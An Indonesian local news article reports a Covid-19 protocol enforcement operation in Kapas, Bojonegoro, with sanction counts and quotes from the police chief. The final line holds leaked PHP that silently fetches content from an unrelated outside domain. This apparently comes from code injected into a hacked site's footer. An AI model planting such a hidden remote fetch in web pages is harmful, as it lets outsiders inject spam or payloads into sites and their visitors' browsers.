Antisipasi Penyebaran Covid 19, Petugas Gabungan di Kapas Lakukan Operasi Yustisi

Sabtu, 9 Januari 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info | Bojonegoro – Sebanyak 694 warga Kecamatan Kapas Terjaring Operasi Yustisi penegakan Protokol kesehatan Covid 19 yang digelar oleh petugas gabungan dari Polsek Kapas, Koramil Kapas, serta Satpol PP Kecamatan Kapas, pada Sabtu (9/1/21).

Petugas langsung melakukan penindakan Hukum kepada masyarakat yang tidak memakai masker dan Pelanggar protokol kesehatan Covid-19 di beberapa tempat di Kecamatan Kapas guna antisipasi penyebaran Virus Corona atau Covid–19 pada

Kapolsek Kapas AKP Yaban menjelaskan bahwa pihaknya melaksanakan Pendisiplinan Berdasarkan INPRES No.6 Tahun 2020, PERDA Provinsi Jatim No.2 Tahun 2020 dan PERGUB Jawa Timur No. 53 Tahun 2020.

Baca Juga:  PSHW Cabang Bojonegoro Bagikan Sembako Di Tengah Pandemi Covid-19

“Sasarannya adalah kepada Warga yang sudah membawa masker namun tidak memakainya di wilayah kapas, dan kami memberikan sanksi teguran,” ungkap AKP Yaban.

Adapun lokasi kegiatan operasi Yustisi dilaksanakan di Jalan Raya Kapas, Jalan Desa Kapas, Pasar Kapas, Pertokoan jl raya Kapas, Warung desa Kapas, Jalan Desa Plesungan, Warung Makan, Warung Kedaton, Jalan Desa Kapas
Dan Warkop Proliman.

Baca Juga:  Pramuka Peduli Kwarcab Pringsewu Gelar Bakti Akhir Tahun

Menurut Kapolsek Kapas, bahwa pihaknya setiap hari sudah melakukan himbauan dan pembagian masker kepada warga, namun pada hari ini terlihat banyak orang berkerumun yang belum mematuhi Prokes Covid-19 dan 3M, sehingga pihaknya harus mengambil tindakan.

“Karena masih adanya warga yang mengabaikan himbauan protokol kesehatan dan terutama tidak menggunakan masker, kami langsung lakukan penindakan, hal ini agar dapat cepat memutus Covid 19,” Tambah AKP Yaban.

Adapun pelanggar yang didapatkan dari Operasi Yustisi Protokol kesehatan ini diantaranya adalah Teguran Lisan sebanyak 421 orang, Teguran tempat usaha sebanyak 13 warung, Sanksi social diberikan kepada 8 orang, Teguran tertulis sebanyak 192 orang.

Baca Juga:  Sekdis Kesehatan Pangkalpinang: Saya Tahu Persis Memperlakukan Sang Merah Putih 

“Kami juga memberikan masker gratis kepada ratusan orang dan juga melakukan pembubaran terhadap warga yang masih bergerombol,” Pungkas, Kapolsek Kapas.

Selanjutnya diharapkan kepada masyarakat agar tetap mematuhi protokol kesehatan, karena pihaknya sewaktu waktu akan melakukan operasi Yustisi protokol kesehatan Covid 19, guna menekan angka penyebaran Covid 19 di Bojonegoro.(Her)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kontingen Karate Pasmar 2 Rebut Juara Umum Kejuaraan Karate Se-Jatim
Muswil ke-1 Chepi dari Info Terbit Terpilih Sebagai Ketua FPII Banten Periode 2022-2027 
Ketua DPD PJI-D Ngopi Bareng  bersama Ketua DPC PJI-D Inhil 
Pasca Banjir, PUPR Usulkan Pembangunan Empat Titik Saluran Drainas
Masyarakat Mengeluh Gas Elpiji 3 Kg Langkah Dan Harga Melonjak Naik Di Eceran
DPO Perkara Tindak Pidana Korupsi Dana Desa (DD) di Ringkus
Gelar Vaksinasi Massal, Pemkab Kaur Tergetkan 2000 Dosis
Rutan Medaeng Akan Dibuat Mirip Apartemen

Berita Terkait

Senin, 8 Agustus 2022 - 21:30 WIB

Kontingen Karate Pasmar 2 Rebut Juara Umum Kejuaraan Karate Se-Jatim

Senin, 27 Juni 2022 - 22:25 WIB

Muswil ke-1 Chepi dari Info Terbit Terpilih Sebagai Ketua FPII Banten Periode 2022-2027 

Senin, 27 Juni 2022 - 21:29 WIB

Ketua DPD PJI-D Ngopi Bareng  bersama Ketua DPC PJI-D Inhil 

Kamis, 10 Februari 2022 - 06:46 WIB

Pasca Banjir, PUPR Usulkan Pembangunan Empat Titik Saluran Drainas

Senin, 13 Desember 2021 - 13:29 WIB

Masyarakat Mengeluh Gas Elpiji 3 Kg Langkah Dan Harga Melonjak Naik Di Eceran

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>